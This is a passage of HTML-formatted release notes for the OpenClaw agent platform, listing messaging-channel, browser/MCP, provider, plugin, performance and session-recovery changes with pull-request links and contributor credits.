<li>Telegram delivery is safer and more coherent: account-scoped topics route to the right agent, streamed text survives tool calls, <code>/compact</code> works on generic ingress, callback handling uses concrete APIs, draft chunking is shared, durable dispatch dedupe moved into the SDK, and unauthorized DM text stays out of cache and prompt context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4607547528" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91189" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91189/hovercard" href="https://github.com/openclaw/openclaw/pull/91189">#91189</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558106512" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88682" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88682/hovercard" href="https://github.com/openclaw/openclaw/pull/88682">#88682</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574261417" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89588" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89588/hovercard" href="https://github.com/openclaw/openclaw/pull/89588">#89588</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4586645610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90212" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90212/hovercard" href="https://github.com/openclaw/openclaw/pull/90212">#90212</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628927782" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91876" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91876/hovercard" href="https://github.com/openclaw/openclaw/pull/91876">#91876</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628912927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91874" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91874/hovercard" href="https://github.com/openclaw/openclaw/pull/91874">#91874</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629583793" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91904" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91904/hovercard" href="https://github.com/openclaw/openclaw/pull/91904">#91904</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615050729" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91478" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91478/hovercard" href="https://github.com/openclaw/openclaw/pull/91478">#91478</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630195095" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91915" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91915/hovercard" href="https://github.com/openclaw/openclaw/pull/91915">#91915</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codysai001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codysai001">@codysai001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alexzhu0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alexzhu0">@alexzhu0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joelnishanth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joelnishanth">@joelnishanth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/snowzlm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/snowzlm">@snowzlm</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</li>
<li>iMessage recovery and delivery now cover always-on inbound restart, durable echo markers, block streaming, idle approval discovery, hardened outbound transport, and actionable inbound startup diagnostics. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610295049" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91335" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91335/hovercard" href="https://github.com/openclaw/openclaw/pull/91335">#91335</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613994164" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91449/hovercard" href="https://github.com/openclaw/openclaw/pull/91449">#91449</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561000464" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88969" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88969/hovercard" href="https://github.com/openclaw/openclaw/pull/88969">#88969</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4556698502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88530" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88530/hovercard" href="https://github.com/openclaw/openclaw/pull/88530">#88530</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626488824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91783" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91783/hovercard" href="https://github.com/openclaw/openclaw/pull/91783">#91783</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626525986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91785" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91785/hovercard" href="https://github.com/openclaw/openclaw/pull/91785">#91785</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jmissig/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jmissig">@jmissig</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colmbrogan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colmbrogan">@colmbrogan</a>.</li>
<li>Browser and MCP connectivity gained existing-session CDP support, discovered WebSocket validation, default-profile <code>cdpUrl</code> handling, safer browser-output boundaries, Streamable HTTP loopback transport, corrected OAuth/SSE authorization handling, and broader schema compatibility. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613069577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91422" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91422/hovercard" href="https://github.com/openclaw/openclaw/pull/91422">#91422</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580311803" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89851/hovercard" href="https://github.com/openclaw/openclaw/pull/89851">#89851</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4623754805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91736" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91736/hovercard" href="https://github.com/openclaw/openclaw/pull/91736">#91736</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624671369" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91747" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91747/hovercard" href="https://github.com/openclaw/openclaw/pull/91747">#91747</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614042522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91451" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91451/hovercard" href="https://github.com/openclaw/openclaw/pull/91451">#91451</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414941157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80143" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80143/hovercard" href="https://github.com/openclaw/openclaw/pull/80143">#80143</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lifuyue/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lifuyue">@lifuyue</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eleqtrizit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eleqtrizit">@eleqtrizit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LiuwqGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LiuwqGit">@LiuwqGit</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Control UI startup and first-reply latency are lower through cached model metadata, removal of the startup catalog wait, lazy slash-command loading, and first-event tracing with slow-reply diagnostics. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617731191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91531/hovercard" href="https://github.com/openclaw/openclaw/pull/91531">#91531</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617908971" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91538" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91538/hovercard" href="https://github.com/openclaw/openclaw/pull/91538">#91538</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618302216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91568/hovercard" href="https://github.com/openclaw/openclaw/pull/91568">#91568</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618482026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91583" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91583/hovercard" href="https://github.com/openclaw/openclaw/pull/91583">#91583</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618680388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91598" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91598/hovercard" href="https://github.com/openclaw/openclaw/pull/91598">#91598</a>)</li>
<li>Provider support expands with OpenRouter OAuth onboarding and Claude Fable 5 adaptive thinking, while Codex sessions keep correct compaction ownership, local models skip guardian review, dynamic tool progress normalizes cleanly, and Gemma 4 reasoning replay is preserved. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4627937743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91830" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91830/hovercard" href="https://github.com/openclaw/openclaw/pull/91830">#91830</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629090999" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91882/hovercard" href="https://github.com/openclaw/openclaw/pull/91882">#91882</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618632675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91590/hovercard" href="https://github.com/openclaw/openclaw/pull/91590">#91590</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653607" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88630" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88630/hovercard" href="https://github.com/openclaw/openclaw/pull/88630">#88630</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4558819854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88768" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88768/hovercard" href="https://github.com/openclaw/openclaw/pull/88768">#88768</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4621950560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91696" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91696/hovercard" href="https://github.com/openclaw/openclaw/pull/91696">#91696</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bdjben/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bdjben">@bdjben</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Coder-Wangyankun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Coder-Wangyankun">@Coder-Wangyankun</a>.</li>
</ul>
<h3>Changes</h3>
<ul>
<li>CLI progress: emit Claude CLI commentary progress events and bridge inter-tool commentary into channel progress without exposing internal protocol scaffolding. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4580033834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89834" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89834/hovercard" href="https://github.com/openclaw/openclaw/pull/89834">#89834</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602649816" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90883" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90883/hovercard" href="https://github.com/openclaw/openclaw/pull/90883">#90883</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anagnorisis2peripeteia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anagnorisis2peripeteia">@anagnorisis2peripeteia</a>.</li>
<li>Observability: allow trusted diagnostics channels to capture tool input/output content, add first-assistant-event traces, and warn on slow initial replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4608878744" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91256/hovercard" href="https://github.com/openclaw/openclaw/pull/91256">#91256</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618302216" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91568" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91568/hovercard" href="https://github.com/openclaw/openclaw/pull/91568">#91568</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618482026" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91583" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91583/hovercard" href="https://github.com/openclaw/openclaw/pull/91583">#91583</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Plugins/ClawHub: dogfood reusable package publishing, let dry runs skip publish approval, allow declared installed trusted hooks, report managed plugin version drift, and warn instead of failing on retired Skill Workshop configuration. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618359661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91574" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91574/hovercard" href="https://github.com/openclaw/openclaw/pull/91574">#91574</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618649289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91591/hovercard" href="https://github.com/openclaw/openclaw/pull/91591">#91591</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4583505020" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90004" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90004/hovercard" href="https://github.com/openclaw/openclaw/pull/90004">#90004</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603423826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90927" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90927/hovercard" href="https://github.com/openclaw/openclaw/pull/90927">#90927</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601779229" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90838" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90838/hovercard" href="https://github.com/openclaw/openclaw/pull/90838">#90838</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Patrick-Erichsen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Patrick-Erichsen">@Patrick-Erichsen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a>.</li>
<li>Memory/providers: move the local llama.cpp runtime into its provider plugin, batch embeddings across files, persist the agent model catalog cache, and keep QMD JSON search one-shot while filtering stale REM recall previews. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4610059597" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91324" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91324/hovercard" href="https://github.com/openclaw/openclaw/pull/91324">#91324</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564601046" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89138" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89138/hovercard" href="https://github.com/openclaw/openclaw/pull/89138">#89138</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591915527" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90457" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90457/hovercard" href="https://github.com/openclaw/openclaw/pull/90457">#90457</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628009554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91837/hovercard" href="https://github.com/openclaw/openclaw/pull/91837">#91837</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628349834" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91851" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91851/hovercard" href="https://github.com/openclaw/openclaw/pull/91851">#91851</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/osolmaz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/osolmaz">@osolmaz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mushuiyu886/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mushuiyu886">@mushuiyu886</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Channels/mobile: add the QQBot group mention toggle, improve iPad and iPhone control surfaces, and expose the active connection host in the TUI footer. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613071091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91423" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91423/hovercard" href="https://github.com/openclaw/openclaw/pull/91423">#91423</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618183754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91557/hovercard" href="https://github.com/openclaw/openclaw/pull/91557">#91557</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4581413214" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89909/hovercard" href="https://github.com/openclaw/openclaw/pull/89909">#89909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cxyhhhhh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cxyhhhhh">@cxyhhhhh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Solvely-Colin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Solvely-Colin">@Solvely-Colin</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/baskduf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/baskduf">@baskduf</a>.</li>
<li>Performance: prewarm TUI runtime plugins, deduplicate plugin auto-enable fanout, trim dense text-delta snapshots, and reuse prepared startup model metadata. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600821830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90782" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90782/hovercard" href="https://github.com/openclaw/openclaw/pull/90782">#90782</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4582814264" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89978" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89978/hovercard" href="https://github.com/openclaw/openclaw/pull/89978">#89978</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618424780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91580" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91580/hovercard" href="https://github.com/openclaw/openclaw/pull/91580">#91580</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617731191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91531" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91531/hovercard" href="https://github.com/openclaw/openclaw/pull/91531">#91531</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Agent/session recovery: drop stale approval follow-ups after session rebind, remove drained reply-queue items by identity, recover stale main and visible replies, preserve Codex context-engine compaction ownership, lower the default compaction timeout to 180 seconds while respecting explicit configuration, and keep provider-failure terminal lifecycle state correct. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507585384" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85679" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85679/hovercard" href="https://github.com/openclaw/openclaw/pull/85679">#85679</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614000904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91450" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91450/hovercard" href="https://github.com/openclaw/openclaw/pull/91450">#91450</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618289361" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91566" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91566/hovercard" href="https://github.com/openclaw/openclaw/pull/91566">#91566</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4628110210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91840" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91840/hovercard" href="https://github.com/openclaw/openclaw/pull/91840">#91840</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4618632675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91590/hovercard" href="https://github.com/openclaw/openclaw/pull/91590">#91590</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611247613" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91361" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91361/hovercard" href="https://github.com/openclaw/openclaw/pull/91361">#91361</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629399283" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91895" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91895/hovercard" href="https://github.com/openclaw/openclaw/pull/91895">#91895</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yetval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yetval">@yetval</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wangmiao0668000666/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wangmiao0668000666">@wangmiao0668000666</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>User-visible content boundaries: suppress Codex/Harmony protocol artifacts, neutralize browser and LanceDB memory media directives, redact transcript images, and preserve native <code>/compact</code> replies through source suppression. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4564821346" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/89151" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/89151/hovercard" href="https://github.com/openclaw/openclaw/pull/89151">#89151</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613069577" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91422" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91422/hovercard" href="https://github.com/openclaw/openclaw/pull/91422">#91422</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4613089160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/91425" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/91425/hovercard" href="https://github.com/openclaw/openclaw/pull/91425">#91425</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4617660755" data-permission-text="Title is private" 